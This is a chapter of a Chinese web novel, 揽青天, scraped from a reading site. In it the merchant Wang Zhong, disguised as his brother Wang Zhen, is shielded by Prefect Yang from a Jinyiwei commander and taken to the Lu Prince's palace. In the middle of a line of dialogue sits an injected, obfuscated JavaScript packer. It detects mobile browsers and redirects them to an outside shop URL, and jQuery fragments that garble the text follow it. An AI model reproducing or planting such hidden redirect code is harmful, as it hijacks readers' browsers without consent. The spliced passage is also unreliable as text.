文趣网 > 其他小说 > 揽青天 > 28. 真识时务
    赵以铮傲然道:“锦衣卫办案,什么时候需要向知府大人解释了?大昭圣训,锦衣卫可越过地方按察司拘押、审讯嫌疑人,直达天听,地方三司(布政、按察、都司)无权干涉。”

    王忠侧目赵以铮,原来这位千户大人,不仅仅是卫所千户,还是锦衣卫千户?

    宗室子弟混去做锦衣卫了?

    那赵以铮就不只是在兖州府自家一亩三分地作威作福,他宗室出身做官,是受到京城皇帝和朝廷双重认证的。

    以他的本事和资历,只是做了一个卫所千户,而不是卫所指挥使,定然是受到了压制,以他“正在查赈灾粮”这件事实来推测,他应该是受到了本地土皇帝鲁王的压制。

    如果是受京城压制,那他应该是和鲁王、杨知府他们一伙的,也就没有现在杨知府和赵以铮的对峙了。

    可真有意思,是不是?

    杨知府好生好气道:“既如此,那本官就不过问了。不过,王贞需要先随本官进宫一趟,面见王爷。”

    赵以铮森然道:“你拿王爷压我。”

    杨知府微微躬身,避其锋芒,只道:“非是故意与千户大人作对,而是王爷听说王贞又得了新珠,召进宫中,想要鉴赏一二,恰巧王贞就在此处,本官也就不用再费功夫派人去寻他。王贞,你这就随本官进宫吧。”

    “王贞”忙感激涕零拜倒在地,呼道:“敢不从命。”又面露惶恐,迟疑道:“只是,千户大人这里......”

    杨大人笑道:“还请千户大人行个方便。万事以王爷为先,待得王贞从王宫出来,千户大人再拿他不迟?”

    赵以铮垂眸思悴半晌,再抬眸时,面上已经恢复傲然深情,点头道:“可以,本官就行了这个方便。”

    杨大人:“多谢千户大人通融则个。王贞,还不速速随本官离开。”

    “王贞”:“谨遵命。”

    一直等出了镇府司大门,王忠背上扎人的视线才消失了,不由小小松了口气,这一关勉强算过了。

    在“离开”兖州城之前,王忠特地去杨府拜访杨墨成,杨墨成当然不在,人家在王宫学堂读书呢。

    王忠只得向杨府大管家说明他不得不离开兖州城回登州的无奈之处,又当场书信一封,拜托大管家替他转交给杨墨成。

    信中写道,请杨墨成代他向同样在宫中读书的王永廉致歉,不能亲自将王永廉要的珍珠交到他手上。但王忠已经将此交易明确告知兄长王贞,等王贞回兖州城,会代他继续将此交易完成。请王永廉放心,珍珠定然是最好的云云。

    王忠是在向杨府大管家、杨墨成、王永廉说话吗?

    他是在告知杨知府,赵以铮很快就找上门了。

    要想赵以铮不顺着他这条防火线查到更多的赈灾粮,杨知府必须先保下他。毕竟,他的商队确实已经将小部分赈灾粮给消化掉了,保不齐,还能消化更多的赈灾粮。

    与其找其他没影子不知道靠不靠谱的大粮商,不如继续和他这个已经通过验证的崭新大粮商合作,消化掉剩下的赈灾粮。

    这才有了“王贞”一出现在城里,杨知府那边就收到消息,并赶在赵以铮拿“王贞”下诏狱之前,将他以鲁王召见的名义给带走。

    当然,鲁王召见这个借口,自然是杨知府提前和鲁王知会好的。

    “哼。”杨大人甩袖冷哼,上马车。

    王忠闪身进入马车,与知府大人同车而行。

    杨知府看着恬不知耻的王忠,愠怒道:“王贞,你好大的胆子!”

    王忠忙行礼致歉,解释道:“草民只是想当面感谢知府大人救命之恩,并无冒犯之意。如果知府大人不喜,草民现在就下车。”

    杨知府:“本官说你大胆,是你竟敢去招惹赵以铮,将赵以铮的注意引到了城中粮食之上。”

    王忠故作十二分的疑惑,问道:“草民也是不解,赵以铮为什么会盯上了周大户家的粮食,是他们家的粮食有什么不对吗?”

    杨知府意味深长,语带警告道:“你还是不知道为好。留下珍珠,现在就出城逃命去吧。”

    王忠深吸一口气,道:“恐怕草民恕难从命。”

    杨知府怒目而视:“你敢违逆本官?!”

    王忠请罪道:“非是草民违逆大人。若是现在草民出城逃命,就成了亡命天涯的通缉犯,前途尽毁不说,更是无颜归乡见乡亲父老,这绝非草民所求。”

    杨知府嗤笑:“那你所求为何?”看来这个王贞比他想象中更有城府。

    王忠天真道:“只求一个公道罢了,草民自认没做违法乱纪之事,不该被如此对待。”

    杨知府:“你向谁求公道?”

    王忠:“向王爷。等见到王爷,草民就向王爷陈情,王爷向来公正无私,定能为草民主持公道。”

    本以为王忠会顺势说向自己求公道,谁知竟是向鲁王。杨知府断定,王贞此人,非大伪之人,就是至纯之人,而一个“纯”字当头的人,是做不了买卖行当的。

    杨知府:“如果本官说王爷要见你是假的呢?没有本官带领,你根本进不了王宫,更见不到王爷。”

    王忠:“如果大人所说为假,那就是假传王旨,赵以铮那里定会以此弹劾大人,大人不会授把柄给他,所以,王爷要见草民,定然是真的。”

    杨知府:“......王贞,你很聪明,而聪明的人,往往死的很快。尤其是自作聪明还自以为很聪明的人。”

    王忠忙表白道:“草民自认不是个聪明人,只是个识时务的人罢了。”

    杨知府不置可否:“是不是真的识时务,还要再看。”

    王忠:“是。”说着从怀中掏出几个荷包,交给杨知府,请示道:“这是本次从登州送来的珍品,草民辨别不出好坏,还请大人掌眼,该将哪些进献给王爷?”

    杨知府满意颔首:“本官就替你分辨分辨。”

    王忠:“谢大人。”

    “王贞”不是王忠,这次进王宫,“王贞”只当面将杨知府挑拣过的珍珠献给鲁王,就让出来了。杨知府留下和鲁王“赏玩”珍珠。

    王忠微微弓着身,站在一处凭栏处看小湖里的游鱼争抢一片落入湖中的柳叶,听到一个少年声音在他身后道:“你就是王忠的哥哥?”

    王忠微微一愣,回过头来,见是昭以琅和方无病两个,“王贞”是不认识两人的,所以他恭敬行礼道:“草民王贞见过两位公子。”

    昭以琅上下好奇打量“王贞”,退步离他远了些,以折扇掩鼻,嫌弃道:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638349|204622||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你多少时候没沐浴了?”

    “王贞”老实回道:“草民日夜兼程,已经超过三天没有洗漱盥沐了。”

    昭以琅:“咦,好邋遢的男人!”

    “王贞”:......

    方无病冷声问道:“王忠人呢?”

    “王贞”:“不知公子寻舍弟是有何事?”

    方无病:“你直说他去哪里了,问这多作甚。”

    “王贞”:“他被草民打发回登州了。”

    方无病皱眉:“为何?”

    “王贞”:“商队出现了一些问题,草民怕他再留在兖州城会有危险,便打发他回登州了。”

    方无病:“你们商队做了什么违法乱纪的事了?”

    “王贞”苦笑:“正是因为没有做什么违法乱纪的事,莫测高深之处不知深浅才更加危险,草民只有这么一个弟弟相依为命,不敢冒丝毫风险,便打发他离开这是非地。公子有任何差遣,草民可代舍弟侍奉公子。”

    方无病:“不知所谓,油嘴滑舌。本公子不需要人伺候,”再加一句:“尤其是像你们这样爱攀附的人。”

    爱攀附?

    王忠疑惑了。

    从上次酒楼聚会王忠就发现了方无病无来由的冷淡,难道是什么时候,叫他认定王忠是个爱攀附的人?

    已经知道了方指挥使是和鲁王、杨知府沆瀣一气的人,所以,对方无病这个少年公子的讥嘲,王忠就当没有听到,清风拂面,唾面自干,非常的好脾气。

    然而他这唾面自干的本事,却是让方无病做实了“王贞”是个卑颜屈膝的媚上小人,更加看不起他,厌恶道:“王宫不是你们这样的人能钻营的地方,枉费心机......”

    “你们在说什么呢?”

    三人转头去看,是杨知府出来了。

    杨知府先给昭以琅行礼:“小郡王。”

    昭以琅向大殿内张望了一眼,好奇打听道:“你们来找父王什么事儿?”

    杨知府为难:“这个......密中之事,下官不敢泄露。”

    昭以琅撇撇嘴:“你找父王能有什么正经事,当我好糊弄呢。”

    杨知府:“......”

    这吐槽,委实无合适话可接。

    杨知府赔笑道:“若是无有吩咐,下官这就告辞了。”

    昭以琅随性挥挥手:“走吧走吧,你不说,本王亲自去问父王也是一样的。”

    杨知府行礼告辞,王忠连忙跟上。

    见四处无人,便小声询问杨知府:“王爷可有恕草民无罪?”

    杨知府:“出宫再说。”

    王忠停下了脚步,杨知府前行好几步,见王忠竟没有跟上来,怕这人在王宫内犯浑,只好回转,小声道:“王爷已经恕你无罪。”

    王忠拧眉:“只有口谕,没有手书?”没有明文在手,心总有些不踏实。

    杨知府失笑,因被拿捏气的,也是因为“王贞”的无知:“知道什么叫口谕吗?你以为鲁王是你家村头二大爷,说的都是废话?”

    这比喻真绝了。

    王忠身段软了下来,致歉道:“如此,是草民无知了。”

    杨知府没好气:“还不快跟上,王宫岂是你能造次的地方!”